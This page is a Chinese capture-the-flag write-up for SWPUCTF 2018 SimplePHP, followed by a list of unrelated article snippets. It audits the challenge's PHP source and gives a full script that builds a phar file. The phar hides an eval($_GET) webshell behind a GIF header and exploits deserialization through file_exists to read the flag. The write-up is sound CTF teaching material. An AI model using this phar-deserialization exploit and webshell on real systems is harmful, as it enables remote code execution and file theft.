当前位置：首页 > news >正文

[SWPUCTF 2018]SimplePHP1

news 文章来源：https://blog.csdn.net/qq_34942239/article/details/135882525 2025/5/11 1:56:41

打开环境

有查看文件跟上传文件，查看文件里面显示没有文件url貌似可以文件读取

上传文件里面可以上传文件。

先看一下可不可以文件读取

/etc/passwd不能读取，源码提示flag在f1ag.php

看看能不能读取当前的文件，

先把代码摘下来

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { $show->source = $file; $show->_show(); 
} else if (!empty($file)){ die('file doesn\'t exists.'); 
} 
?>

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> 
</div> </script> 
</body> 
</html>

funcion.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } 
} 
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } 
} 
?>

class.php

 <?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file;   //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?>

审计一下

由于设置了ini_set('open_basedir','/var/www/html/');

所以只能读取/var/www/html目录

看一下function.php

只能上传后缀为gif.jpeg,jpg,png

好像绕不过去

看一下class.php

有file_get_contents()是不是可以通过构造pop链，实现读取f1ag.php呢

这里暗示用phar反序列化

正好file.ph里面有个file_exists()函数可以出发phar反序列化

分析一下链

file_get函数由get触发，get由__get触发，当指向类中不存在的变量时候可以出发__get魔法函数

看一下参数,$value由params[$key]得到，$key由出发__get函数时传入，可以控制params和key使得$value=f1ag.php

看一下如何出发__get

在Show里面

如果令str['str']=new Test()就会出发Test里面的__get

然后看如何出发_toString

C1e4r里面的echo正好可以出发toString

脚本如下

<?php
class C1e4r{public $test;public $str;
}class Show
{public $source;public $str;
}class Test
{public $file;public $params;
}$a = new Test();
$a->params['source'] ='/var/www/html/f1ag.php';$b = new Show();
$b->str['str']=$a;$c = new C1e4r();
$c->str = $b;@unlink("phar.phar");
$phar = new Phar('phar.phar'); //后缀名必须为phar
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php echo 1;eval($_GET["Smi1e"]);?>'.'<?php __HALT_COMPILER();?>');
$phar -> setMetadata($c); //将自定义的meta-data存入manifest
$phar -> addFromString('test.txt','test');//添加要压缩的文件
$phar -> stopBuffering();   //签名自动计算

生成的exp.phar改成.jpg结尾之后上传

然后访问file=phar://upload/文件名即可拿到flag

md,我这里phar.readonly明明改成Off还是生成不了phar文件，无语死了。

[SWPUCTF 2018]SimplePHP1

打开环境有查看文件跟上传文件，查看文件里面显示没有文件url貌似可以文件读取上传文件里面可以上传文件。先看一下可不可以文件读取 /etc/passwd不能读取，源码提示flag在f1ag.php 看看能不能读取当前的文件， 先把代码摘下来 file.php …...

编程日记 2024/1/29 1:43:00

api管理工具的新发现

一、之前用过的api管理工具关于api管理工具，之前用过yapi和postman，但是后来发现了这两个工具二、新发现的更强大的：Apifox和Eolink Apifox和Eolink，那这两个工具有什么优势呢？ 2.1Apifox 其中 Apifox Postman …...

编程日记 2024/1/29 1:39:57

2024 年 eBPF 和网络趋势预测

本文地址：2024 年 eBPF 和网络趋势预测 | 深入浅出 eBPF 1. eBPF 1.1 eBPF 将继续呈指数增长1.2 eBPF 应用市场1.3 eBPF 在手机中得到更广泛的应用1.4 eBPF 滥用带来的风险2. 可观测 2.1 最受欢迎的可观测性2.2 降低可观测性开销2.3 上下文感知的 Kubernetes 工作负…...

编程日记 2024/1/29 1:36:54

2024.1.27 GNSS 学习笔记

1.精确的描述轨道的一组数据(星历)是实现精确定位与导航的基础。 2.GNSS卫星广播星历的提供方式一般有两种：一种是提供开普勒轨道参数和必要的轨道摄动改正项参数，如GPS、BDS、Galileo三大系统采用此种模式，还有QZSS系统；另一种是…...

编程日记 2024/1/29 1:35:53

Unity - 将项目转为HDRP

Camera window -> Package Manager 之后会出现HDRP向导窗口，均点击修复。在Edit中，更改项目中的材质...

编程日记 2024/1/29 1:33:51

ETCD高可用架构涉及常用功能整理

ETCD高可用架构涉及常用功能整理 1. etcd的高可用系统架构和相关组件1.1 Quorum机制1.2 Raft协议 2. etcd的核心参数2.1 常规配置2.2 特殊优化配置2.2.1 强行拉起新集群 --force-new-cluster2.2.2 兼容磁盘io性能差2.2.3 etcd存储quota 3. etcd常用命令3.1 常用基础命令3.1.1 列…...

编程日记 2024/1/29 1:31:47

深度学习中RGB影像图的直方图均衡化python代码and对图片中指定部分做基于掩模的特定区域直方图均衡化

深度学习很重要的预处理步骤就是需要对做直方图均衡化其中主要分成灰度图以及RGB图的直方图均衡化这俩的方法和代码不同想要去看具体原理的朋友可以查看下面这篇博客的内容写的很详细颜色直方图均衡化(https://www.cnblogs.com/wancy/p/17668345.html) 我们这个场景中会用…...

编程日记 2024/1/29 1:28:45

PyTorch深度学习实战（33）——条件生成对抗网络(Conditional Generative Adversarial Network, CGAN)

PyTorch深度学习实战（33）——条件生成对抗网络 0. 前言1. 条件生成对抗网络1.1 模型介绍1.2 模型与数据集分析 2. 实现条件生成对抗网络小结系列链接 0. 前言条件生成对抗网络 (Conditional Generative Adversarial Network, CGAN) 是一种生成对抗网络…...

编程日记 2024/1/29 1:25:02

编写Bash脚本程序从记录文件中提取history命令的优化，再介绍linux bash语法和结构

目录一、引言二、脚本代码实现三、bash语法和结构 （一）基本语法 1、脚本开始与结束 2、注释 3、变量 4、数据类型 5、控制结构 6、循环控制 7、函数 8、算术运算 9、算术操作符和逻辑操作符 （二）命令相关…...

编程日记 2024/1/29 1:22:59

Python中Numba库装饰器

一、运行速度是Python天生的短板 1.1 编译型语言：C 对于编译型语言，开发完成以后需要将所有的源代码都转换成可执行程序，比如 Windows 下的.exe文件，可执行程序里面包含的就是机器码。只要我们拥有可执行程序，就可以随…...

编程日记 2024/1/29 1:21:58

Spring Boot Aop 执行顺序

Spring Boot Aop 执行顺序 1. 概述在 spring boot 项目中，使用 aop 增强，不仅可以很优雅地扩展功能，还可以让一写多用，避免写重复代码，例如：记录接口耗时，记录接口日志，接口权限&…...

编程日记 2024/1/29 1:19:57

100天精通鸿蒙从入门到跳槽——第16天：ArkTS条件渲染使用教程

博主猫头虎的技术世界 🌟 欢迎来到猫头虎的博客 — 探索技术的无限可能！专栏链接： 🔗 精选专栏：《面试题大全》 — 面试准备的宝典！《IDEA开发秘籍》 — 提升你的IDEA技能！《100天精通Golang》 — Go语言学习之旅！《100天精通鸿蒙》 — 从Web/安卓到鸿蒙大师！100天…...

编程日记 2024/1/29 1:17:55

【Linux C | 进程】Linux 进程间通信的10种方式（1）

😁博客主页😁：🚀https://blog.csdn.net/wkd_007🚀 🤑博客内容🤑：🍭嵌入式开发、Linux、C语言、C、数据结构、音视频🍭 🤣本文内容🤣&a…...

编程日记 2024/1/29 1:16:53

橘子学Mybatis08之Mybatis关于一级缓存的使用和适配器设计模式

前面我们说了mybatis的缓存设计体系，这里我们来正式看一下这玩意到底是咋个用法。首先我们是知道的，Mybatis中存在两级缓存。分别是一级缓存(会话级)，和二级缓存(全局级)。下面我们就来看看这两级缓存。一、准备工作 1、准备数据库在此之…...

编程日记 2024/1/29 1:15:53

看图说话：Git图谱解读

很多新加入公司的同学在使用Git各类客户端管理代码的过程中对于Git图谱解读不太理解，我们常用的Git客户端是SourceTree，配合P4Merge进行冲突解决基本可以满足日常工作大部分需要。不同的Git客户端工具对图谱展示会有些许差异，以下是SourceTre…...

编程日记 2024/1/29 1:13:51

linux新增用户，指定home目录和bash脚本且加入到sudoer列表

前言近3年一直用自动化脚本，搞得连useradd命令都不会用了。哈哈。今天还碰到一个问题，有个系统没有‘useradd’和‘passwd’命令，直接蒙了。当然直接用apt install就能安装，不然还得自己编译折腾一会。新建用户 useradd -d /h…...

编程日记 2024/1/29 1:12:50

经典目标检测YOLO系列(三)YOLOV3的复现(1)总体网络架构及前向处理过程

经典目标检测YOLO系列(三)YOLOV3的复现(1)总体网络架构及前向处理过程和之前实现的YOLOv2一样，根据《YOLO目标检测》(ISBN:9787115627094)一书，在不脱离YOLOv3的大部分核心理念的前提下，重构一款较新的YOLOv3检测器，来对YOLOv3有…...

编程日记 2024/1/29 1:10:49

OpenGL/C++_学习笔记（四）空间概念与摄像头

汇总页上一篇: OpenGL/C_学习笔记（三） 绘制第一个图形 OpenGL/C_学习笔记（四）空间概念与摄像头空间概念与摄像头前置科技树: 线性代数空间概念流程简述各空间相关概念详述空间概念与摄像头前置科技树: 线性代数矩阵/向量定…...

编程日记 2024/1/29 1:09:47

C语言2024-1-27练习记录

#define _CRT_SECURE_NO_WARNINGS 1#include<stdio.h>//int main() //{ // char c[15] { I, ,a,n,d, ,you,. }; // int i; // for(i 0; i < 15; i) //这个地方有几个地方需要注意一下，首先变量指定之后必须要加上英文状态下的分号 // printf("%c&q…...

编程日记 2024/1/29 1:08:47

深入解析HTTPS：安全机制全方位剖析

随着互联网的深入发展，网络传输中的数据安全性受到了前所未有的关注。HTTPS，作为HTTP的安全版本，为数据在客户端和服务器之间的传输提供了加密和身份验证，从而确保了数据的机密性、完整性和身份真实性。本文将详细探讨HTTPS背后的…...

编程日记 2024/1/29 1:07:45

【197】JAVA8调用阿里云对象存储API，保存图片并获取图片URL地址。

实际工作中，需要用阿里云对象存储保存图片，并且在上传图片到阿里云对象存储服务器后，获取图片在阿里云对象存储服务器的URL地址，以便给 WEB 前端显示。阿里云对象存储上传图片的工具类 package zhangchao;import com.aliyun.os…...

编程日记 2024/1/29 1:06:45

2024.1.24 C++QT 作业

思维导图练习题 1.提示并输入一个字符串，统计该字符中大写、小写字母个数、数字个数、空格个数以及其他字符个数 #include <iostream> #include <string.h> #include <array> using namespace std;int main() {string str;cout << "…...

编程日记 2024/1/29 1:01:40

jenkins部署过程记录

一、jenkins部署git链接找不到原因分析： 机器的git环境不是个人git的权限，所以clone不了。Jenkins的master节点部署机器已经部署较多其他的job在跑，如果直接修改机器的git配置，很可能影响到其他的job clone 不了代码&#xff0c…...

编程日记 2024/1/29 1:00:38

JS-策略设计模式

设计模式：针对特定问题提出的简洁优化的解决方案一个问题有多种处理方案，而且处理方案随时可能增加或减少比如：商场满减活动满50元减5元满100元减15元满200元减35元满500元减100元 // 满减金额计算函数 function count(money, type) {if …...

编程日记 2024/1/29 0:59:36

漏洞复现-EduSoho任意文件读取漏洞（附漏洞检测脚本）

免责声明文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的…...

编程日记 2024/1/29 0:57:33

「QT」QString类的详细说明

✨博客主页何曾参静谧的博客📌文章专栏「QT」QT5程序设计📚全部专栏「VS」Visual Studio「C/C++」C/C++程序设计「UG/NX」BlockUI集合「Win」Windows程序设计「...

编程日记 2024/1/29 0:54:30

微信小程序-04

rpx（responsive pixel）是微信小程序独有的，用来解决屏适配的尺寸单位。 import 后跟需要导入的外联样式表的相对路径，用 ; 表示语句结束。定义在 app.wxss 中的样式为全局样式，作用于每一个页面。在页面的 .wxss 文…...

编程日记 2024/1/29 0:53:29

什么是数据库的三级模式两级映象？

三级模式两级映象结构图概念三级模式内模式：也称为存储模式，是数据物理结构和存储方式的描述，是数据在数据库内部的表示方式。定义所有的内部记录类型、索引和文件组织方式，以及数据控制方面的细节。模式：又称概念…...

编程日记 2024/1/29 0:52:28

初识人工智能，一文读懂机器学习之逻辑回归知识文集(6)

🏆作者简介，普修罗双战士，一直追求不断学习和成长，在技术的道路上持续探索和实践。 🏆多年互联网行业从业经验，历任核心研发工程师，项目技术负责人。 🎉欢迎 👍点赞✍评论…...

编程日记 2024/1/29 0:50:26

2024 CKA 题库 | 15、备份还原 etcd

不等更新题库文章目录 15、备份还原 etcd题目:考点：参考链接:解答:备份快照恢复快照检查 15、备份还原 etcd 题目: 设置配置环境此项目无需更改配置环境。但是，在执行此项目之前，请确保您已返回初始节点。 [candidatemaster01] $ exit #…...

编程日记 2024/1/29 0:49:25

相关文章：